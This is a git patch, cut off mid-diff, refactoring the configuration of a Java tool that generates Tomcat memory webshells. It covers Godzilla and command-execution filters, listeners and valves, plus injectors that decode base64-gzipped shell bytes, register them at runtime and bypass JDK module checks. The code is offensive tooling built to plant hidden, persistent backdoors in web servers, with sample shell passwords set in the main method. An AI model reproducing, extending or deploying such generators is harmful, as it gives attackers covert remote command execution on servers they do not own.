From ffbe1e454b1b95cdd60768da32d322c3e7520443 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 7 Dec 2024 01:49:12 +0800 Subject: [PATCH] refactor: separate generate config --- .../com/reajason/javaweb/GeneratorMain.java | 50 +++++++------- ...andShellConfig.java => CommandConfig.java} | 2 +- .../javaweb/config/GenerateResult.java | 19 ++++-- ...laShellConfig.java => GodzillaConfig.java} | 4 +- .../javaweb/config/InjectorConfig.java | 43 ++++++++++++ .../reajason/javaweb/config/ShellConfig.java | 56 +++++++++++---- .../javaweb/config/ShellToolConfig.java | 29 ++++++++ .../javaweb/memsell/CommandGenerator.java | 20 +++--- .../javaweb/memsell/GodzillaGenerator.java | 45 ++++++------ .../javaweb/memsell/InjectorGenerator.java | 28 ++++---- .../javaweb/memsell/tomcat/TomcatShell.java | 68 ++++++++----------- .../memsell/tomcat/command/CommandFilter.java | 2 +- .../tomcat/command/CommandListener.java | 2 +- .../memsell/tomcat/command/CommandValve.java | 2 +- .../tomcat/godzilla/GodzillaFilter.java | 10 +-- .../tomcat/godzilla/GodzillaListener.java | 10 +-- .../tomcat/godzilla/GodzillaValve.java | 10 +-- .../tomcat/injector/TomcatFilterInjector.java | 6 +- .../injector/TomcatListenerInjector.java | 4 +- .../tomcat/injector/TomcatValveInjector.java | 10 +-- .../com/reajason/javaweb/util/ClassUtils.java | 1 + .../config/GodzillaShellConfigTest.java | 19 ++++++ .../memsell/GodzillaGeneratorTest.java | 33 --------- .../tomcat/command/CommandFilterTest.java | 40 ++++++++--- .../tomcat/godzilla/GodzillaFilterTest.java | 38 ----------- .../tomcat/godzilla/GodzillaListenerTest.java | 32 --------- .../memsell/tomcat/godzilla/GodzillaTest.java | 53 +++++++++++++++ .../tomcat/godzilla/GodzillaValveTest.java | 49 ------------- .../injector/TomcatFilterInjectorTest.java | 59 ---------------- .../injector/TomcatListenerInjectorTest.java | 47 ------------- .../injector/TomcatValveInjectorTest.java | 33 --------- .../javaweb/integration/CommandShellTool.java | 20 +----- .../integration/GodzillaShellTool.java | 26 +------ .../integration/ShellAssertionTool.java | 35 ++++++---- 34 files changed, 387 insertions(+), 518 deletions(-) rename generator/src/main/java/com/reajason/javaweb/config/{CommandShellConfig.java => CommandConfig.java} (84%) rename generator/src/main/java/com/reajason/javaweb/config/{GodzillaShellConfig.java => GodzillaConfig.java} (90%) create mode 100644 generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java create mode 100644 generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java create mode 100644 generator/src/test/java/com/reajason/javaweb/config/GodzillaShellConfigTest.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjectorTest.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjectorTest.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjectorTest.java diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index d3f53f5d..9c6390fb 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -1,13 +1,10 @@ package com.reajason.javaweb; import com.reajason.javaweb.config.*; -import com.reajason.javaweb.memsell.packer.JspPacker; +import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; -import net.bytebuddy.jar.asm.Opcodes; import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Paths; /** * @author ReaJason @@ -15,34 +12,27 @@ import java.nio.file.Paths; */ public class GeneratorMain { public static void main(String[] args) throws IOException { - Server server = Server.TOMCAT; - ShellTool shellTool = ShellTool.Godzilla; - String shellType = TomcatShell.JAKARTA_FILTER; - GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() - .pass("passFilter") - .key("keyFilter") + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.TOMCAT) + .shellTool(ShellTool.Godzilla) + .shellType(TomcatShell.LISTENER).build(); + GodzillaConfig godzillaConfig = GodzillaConfig.builder() + .pass("pass123") + .key("key123") .headerName("User-Agent") .headerValue("test") .build(); - GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig, Opcodes.V11); - if (generateResult != null) { - String shellBytesBase64Str = generateResult.getShellBytesBase64Str(); - String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); - Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes()); - System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str); - System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str); - System.out.println(shellConfig); - Files.write(Paths.get(shellConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes()); - JspPacker jspPacker = new JspPacker(); - String jspContent = new String(jspPacker.pack(generateResult)); - System.out.println(jspContent); + + byte[] bytes = generate(shellConfig, new InjectorConfig(), godzillaConfig, Packer.INSTANCE.ScriptEngine); + if (bytes != null) { + System.out.println(new String(bytes)); } } - public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) { - switch (server) { + public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { + switch (shellConfig.getServer()) { case TOMCAT: - return TomcatShell.generate(shellTool, shellType, shellConfig, targetJdkVersion); + return TomcatShell.generate(shellConfig, injectorConfig, shellToolConfig); case BES: break; case RESIN: @@ -52,6 +42,14 @@ public class GeneratorMain { default: throw new IllegalArgumentException("Unsupported server"); } - return GenerateResult.builder().build(); + return null; + } + + public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) { + GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig); + if (generateResult != null) { + return packerInstance.getPacker().pack(generateResult); + } + return null; } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/config/CommandShellConfig.java b/generator/src/main/java/com/reajason/javaweb/config/CommandConfig.java similarity index 84% rename from generator/src/main/java/com/reajason/javaweb/config/CommandShellConfig.java rename to generator/src/main/java/com/reajason/javaweb/config/CommandConfig.java index 3da0dd7e..9419d2bb 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/CommandShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/CommandConfig.java @@ -12,7 +12,7 @@ import lombok.experimental.SuperBuilder; @Getter @SuperBuilder @ToString -public class CommandShellConfig extends ShellConfig { +public class CommandConfig extends ShellToolConfig { @Builder.Default private String paramName = "cmd"; } diff --git a/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java b/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java index cc995628..c616407b 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java +++ b/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java @@ -9,7 +9,7 @@ import org.apache.commons.codec.binary.Base64; * @since 2024/11/24 */ @Data -@Builder +@Builder(builderClassName = "GenerateResultBuilder") public class GenerateResult { private String shellClassName; private transient byte[] shellBytes; @@ -18,10 +18,19 @@ public class GenerateResult { private transient byte[] injectorBytes; private String injectorBytesBase64Str; private ShellConfig shellConfig; + private ShellToolConfig shellToolConfig; + private InjectorConfig injectorConfig; - public GenerateResult encodeBase64() { - this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes); - this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes); - return this; + public static class GenerateResultBuilder { + public GenerateResult build() { + if (shellBytes != null) { + shellBytesBase64Str = Base64.encodeBase64String(shellBytes); + } + if (injectorBytes != null) { + injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes); + } + return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str, + injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/config/GodzillaShellConfig.java b/generator/src/main/java/com/reajason/javaweb/config/GodzillaConfig.java similarity index 90% rename from generator/src/main/java/com/reajason/javaweb/config/GodzillaShellConfig.java rename to generator/src/main/java/com/reajason/javaweb/config/GodzillaConfig.java index e7e45670..524c9d21 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/GodzillaShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/GodzillaConfig.java @@ -13,7 +13,7 @@ import lombok.experimental.SuperBuilder; @NoArgsConstructor @AllArgsConstructor @ToString -public class GodzillaShellConfig extends ShellConfig { +public class GodzillaConfig extends ShellToolConfig { @Builder.Default private String pass = "pass"; @Builder.Default @@ -22,4 +22,4 @@ public class GodzillaShellConfig extends ShellConfig { private String headerName = "User-Agent"; @Builder.Default private String headerValue = CommonUtil.getRandomString(8); -} +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java b/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java new file mode 100644 index 00000000..9b8f3c09 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java @@ -0,0 +1,43 @@ +package com.reajason.javaweb.config; + +import com.reajason.javaweb.util.CommonUtil; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; + +/** + * @author ReaJason + * @since 2024/12/5 + */ +@Data +@NoArgsConstructor +@AllArgsConstructor +@Builder(toBuilder = true) +public class InjectorConfig { + /** + * 注入器模板类 + */ + private Class injectorClass; + /** + * 注入器类名 + */ + @Builder.Default + private String injectorClassName = CommonUtil.generateInjectorClassName(); + + /** + * 注入访问的地址 + */ + @Builder.Default + private String urlPattern = "/*"; + + /** + * 内存马类名 + */ + private String shellClassName; + + /** + * 内存马类字节 + */ + private byte[] shellClassBytes; +} diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java index 8f5cbfb4..0c0267e0 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java @@ -1,28 +1,60 @@ package com.reajason.javaweb.config; -import com.reajason.javaweb.util.CommonUtil; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; -import lombok.experimental.SuperBuilder; import net.bytebuddy.jar.asm.Opcodes; +import org.apache.commons.lang3.StringUtils; /** * @author ReaJason - * @since 2024/11/24 + * @since 2024/12/6 */ @Data -@SuperBuilder -@NoArgsConstructor +@Builder @AllArgsConstructor +@NoArgsConstructor public class ShellConfig { - @Builder.Default - private String shellClassName = CommonUtil.generateShellClassName(); - @Builder.Default - private String injectorClassName = CommonUtil.generateInjectorClassName(); - @Builder.Default - private String urlPattern = "/*"; + /** + * 目标服务类型 + */ + Server server; + + /** + * 内存马功能 + */ + ShellTool shellTool; + + /** + * 内存马类型 + */ + String shellType; + + /** + * 生成类的目标 JDK 版本 + */ @Builder.Default private int targetJdkVersion = Constants.DEFAULT_VERSION; -} \ No newline at end of file + + /** + * 是否开启混淆 + */ + @Builder.Default + private boolean obfuscate = false; + + /** + * 是否开启调试 + */ + @Builder.Default + private boolean debug = false; + + + public boolean isJakarta() { + return StringUtils.containsIgnoreCase(shellType, "jakarta"); + } + + public boolean needByPassJdkModule() { + return targetJdkVersion >= Opcodes.V9; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java b/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java new file mode 100644 index 00000000..3c322088 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java @@ -0,0 +1,29 @@ +package com.reajason.javaweb.config; + +import com.reajason.javaweb.util.CommonUtil; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +@Data +@SuperBuilder +@NoArgsConstructor +@AllArgsConstructor +public class ShellToolConfig { + /** + * 模板类 shellClass + */ + private Class clazz; + + /** + * shellClass 的类名 + */ + @Builder.Default + private String className = CommonUtil.generateShellClassName(); +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java index 417f4c82..5afff7b3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java @@ -1,14 +1,14 @@ package com.reajason.javaweb.memsell; -import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; +import com.reajason.javaweb.config.CommandConfig; +import com.reajason.javaweb.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FieldAccessor; import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.SuperMethodCall; -import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.matcher.ElementMatchers; /** @@ -17,15 +17,19 @@ import net.bytebuddy.matcher.ElementMatchers; */ public class CommandGenerator { - public static byte[] generate(Class commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) { + public static byte[] generate(ShellConfig config, CommandConfig shellConfig) { + if (shellConfig.getClazz() == null) { + throw new IllegalArgumentException("shellConfig.getClazz() == null"); + } Implementation.Composable fieldSets = SuperMethodCall.INSTANCE - .andThen(FieldAccessor.ofField("paramName").setsValue(paramName)); + .andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName())); DynamicType.Builder builder = new ByteBuddy() - .redefine(commandClass) - .name(commandClassName) - .visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion)) + .redefine(shellConfig.getClazz()) + .name(shellConfig.getClassName()) + .visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion())) .constructor(ElementMatchers.any()).intercept(fieldSets); - if (useJakarta) { + + if (config.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java index d9ee5ada..f7ad4e7a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java @@ -2,11 +2,11 @@ package com.reajason.javaweb.memsell; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; -import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.GodzillaConfig; +import com.reajason.javaweb.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FieldAccessor; -import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.SuperMethodCall; import net.bytebuddy.matcher.ElementMatchers; import org.apache.commons.codec.digest.DigestUtils; @@ -16,34 +16,29 @@ import org.apache.commons.codec.digest.DigestUtils; * @since 2024/11/23 */ public class GodzillaGenerator { + public static byte[] generate(ShellConfig config, GodzillaConfig shellConfig) { + if (shellConfig.getClazz() == null) { + throw new IllegalArgumentException("shellConfig.getClazz() == null"); + } + String md5Key = DigestUtils.md5Hex(shellConfig.getKey()).substring(0, 16); + String md5 = DigestUtils.md5Hex(shellConfig.getPass() + md5Key).toUpperCase(); - public static byte[] generate(Class godzillaClass, String godzillaClassName, - String pass, String key, - String headerName, String headerValue) { - return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION); - } + DynamicType.Builder builder = new ByteBuddy() + .redefine(shellConfig.getClazz()) + .name(shellConfig.getClassName()) + .visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion())) + .constructor(ElementMatchers.any()) + .intercept(SuperMethodCall.INSTANCE + .andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass())) + .andThen(FieldAccessor.ofField("key").setsValue(md5Key)) + .andThen(FieldAccessor.ofField("md5").setsValue(md5)) + .andThen(FieldAccessor.ofField("headerName").setsValue(shellConfig.getHeaderName())) + .andThen(FieldAccessor.ofField("headerValue").setsValue(shellConfig.getHeaderValue()))); - public static byte[] generate(Class godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) { - String md5Key = DigestUtils.md5Hex(key).substring(0, 16); - String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase(); - Implementation.Composable fieldSets = SuperMethodCall.INSTANCE - .andThen(FieldAccessor.ofField("pass").setsValue(pass)) - .andThen(FieldAccessor.ofField("key").setsValue(md5Key)) - .andThen(FieldAccessor.ofField("md5").setsValue(md5)) - .andThen(FieldAccessor.ofField("headerName").setsValue(headerName)) - .andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue)); - - DynamicType.Builder builder = new ByteBuddy().redefine(godzillaClass) - .name(godzillaClassName); - - builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion)); - - if (useJakarta) { + if (config.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } - builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets); - try (DynamicType.Unloaded make = builder.make()) { return make.getBytes(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java index fd753aa9..e6a769d9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java @@ -3,6 +3,8 @@ package com.reajason.javaweb.memsell; import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor; import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.InjectorConfig; +import com.reajason.javaweb.config.ShellConfig; import com.reajason.javaweb.util.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; @@ -22,21 +24,19 @@ import static net.bytebuddy.matcher.ElementMatchers.named; public class InjectorGenerator { @SneakyThrows - public static byte[] generate(Class injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) { - return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION); - } - - @SneakyThrows - public static byte[] generate(Class injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) { - String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");; + public static byte[] generate(ShellConfig config, InjectorConfig injectorConfig) { + String base64String = Base64.encodeBase64String( + CommonUtil.gzipCompress(injectorConfig.getShellClassBytes())) + .replace(System.lineSeparator(), ""); DynamicType.Builder builder = new ByteBuddy() - .redefine(injectClass) - .name(injectClassName) - .visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion)) - .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, ""))) + .redefine(injectorConfig.getInjectorClass()) + .name(injectorConfig.getInjectorClassName()) + .visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion())) + .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*"))) .method(named("getBase64String")).intercept(FixedValue.value(base64String)) - .method(named("getClassName")).intercept(FixedValue.value(shellClassName)); - if (targetJdkVersion >= Opcodes.V9) { + .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); + + if (config.needByPassJdkModule()) { builder = ByPassJdkModuleInterceptor.extend(builder); } @@ -44,4 +44,4 @@ public class InjectorGenerator { return make.getBytes(); } } -} +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java index feef2afc..48affa02 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java @@ -13,7 +13,6 @@ import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve; import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector; import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector; import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector; -import lombok.SneakyThrows; import org.apache.commons.lang3.tuple.Pair; import java.util.HashMap; @@ -66,55 +65,48 @@ public class TomcatShell { COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); } - @SneakyThrows - public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) { - if (shellTool == null || shellType == null || shellConfig == null) { - throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null."); - } - Pair, Class> classPair; + public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { + Class injectorClass = injectorConfig.getInjectorClass(); byte[] shellBytes; - boolean useJakarta = shellType.startsWith(JAKARTA); - switch (shellTool) { + switch (shellConfig.getShellTool()) { case Godzilla: { - classPair = GODZILLA_SHELL_MAP.get(shellType); - GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig; - shellBytes = GodzillaGenerator.generate(classPair.getLeft(), - godzillaConfig.getShellClassName(), - godzillaConfig.getPass(), - godzillaConfig.getKey(), - godzillaConfig.getHeaderName(), - godzillaConfig.getHeaderValue(), - useJakarta, - targetJdkVersion - ); + Pair, Class> classPair = GODZILLA_SHELL_MAP.get(shellConfig.getShellType()); + if (injectorClass == null) { + injectorClass = classPair.getRight(); + } + shellToolConfig.setClazz(classPair.getLeft()); + shellBytes = GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig); break; } case Command: { - classPair = COMMAND_SHELL_MAP.get(shellType); - CommandShellConfig commandConfig = (CommandShellConfig) shellConfig; - shellBytes = CommandGenerator.generate(classPair.getLeft(), - commandConfig.getShellClassName(), - commandConfig.getParamName(), useJakarta, targetJdkVersion); + Pair, Class> classPair = COMMAND_SHELL_MAP.get(shellConfig.getShellType()); + if (injectorClass == null) { + injectorClass = classPair.getRight(); + } + shellToolConfig.setClazz(classPair.getLeft()); + shellBytes = CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); break; } default: - throw new UnsupportedOperationException("Unknown shell tool: " + shellTool); + throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); } - Class injectorClass = classPair.getRight(); - byte[] injectorBytes = InjectorGenerator.generate(injectorClass, - shellConfig.getInjectorClassName(), - shellConfig.getShellClassName(), - shellBytes, - shellConfig.getUrlPattern(), - targetJdkVersion); + injectorConfig = injectorConfig + .toBuilder() + .injectorClass(injectorClass) + .shellClassName(shellToolConfig.getClassName()) + .shellClassBytes(shellBytes).build(); + + byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig); return GenerateResult.builder() - .shellClassName(shellConfig.getShellClassName()) - .shellBytes(shellBytes) - .injectorClassName(shellConfig.getInjectorClassName()) - .injectorBytes(injectorBytes) .shellConfig(shellConfig) - .build().encodeBase64(); + .shellToolConfig(shellToolConfig) + .injectorConfig(injectorConfig) + .shellClassName(shellToolConfig.getClassName()) + .shellBytes(shellBytes) + .injectorClassName(injectorClass.getName()) + .injectorBytes(injectorBytes) + .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java index 3c62f9f1..bad0e37c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java @@ -11,7 +11,7 @@ import java.io.InputStream; * @since 2024/11/24 */ public class CommandFilter implements Filter { - public String paramName; + public String paramName = "{{paramName}}"; @Override public void init(FilterConfig filterConfig) throws ServletException { diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java index bc0c5cf4..bfcea70b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName; + public String paramName = "{{paramName}}"; public CommandListener() { } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java index b3ce30b0..31978da4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java @@ -15,7 +15,7 @@ import java.io.InputStream; public class CommandValve implements Valve { protected Valve next; protected boolean asyncSupported; - public String paramName; + public String paramName = "{{paramName}}"; public CommandValve() { } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java index e9cb365c..a3063768 100755 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java @@ -13,11 +13,11 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaFilter extends ClassLoader implements Filter { - public String key; - public String pass; - public String md5; - public String headerName; - public String headerValue; + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; public GodzillaFilter() { } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java index 7a58956e..fd2c7315 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String md5; - public String pass; - public String key; - public String headerName; - public String headerValue; + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; public GodzillaListener() { } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java index ce1dc32c..0d942205 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java @@ -17,11 +17,11 @@ import java.io.IOException; public class GodzillaValve extends ClassLoader implements Valve { protected Valve next; protected boolean asyncSupported; - public String key; - public String pass; - public String headerName; - public String headerValue; - public String md5; + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; public GodzillaValve() { } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java index f38c08d4..dd5a7fbf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java @@ -37,15 +37,15 @@ public class TomcatFilterInjector { } public String getUrlPattern() { - return "/*"; + return "{{urlPattern}}"; } public String getClassName() { - return ""; + return "{{className}}"; } public String getBase64String() { - return ""; + return "{{base64Str}}"; } static byte[] decodeBase64(String base64Str) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java index 60c38e66..826186da 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java @@ -22,11 +22,11 @@ import java.util.zip.GZIPInputStream; public class TomcatListenerInjector { public String getClassName() { - return ""; + return "{{className}}"; } public String getBase64String() { - return ""; + return "{{base64Str}}"; } static { diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java 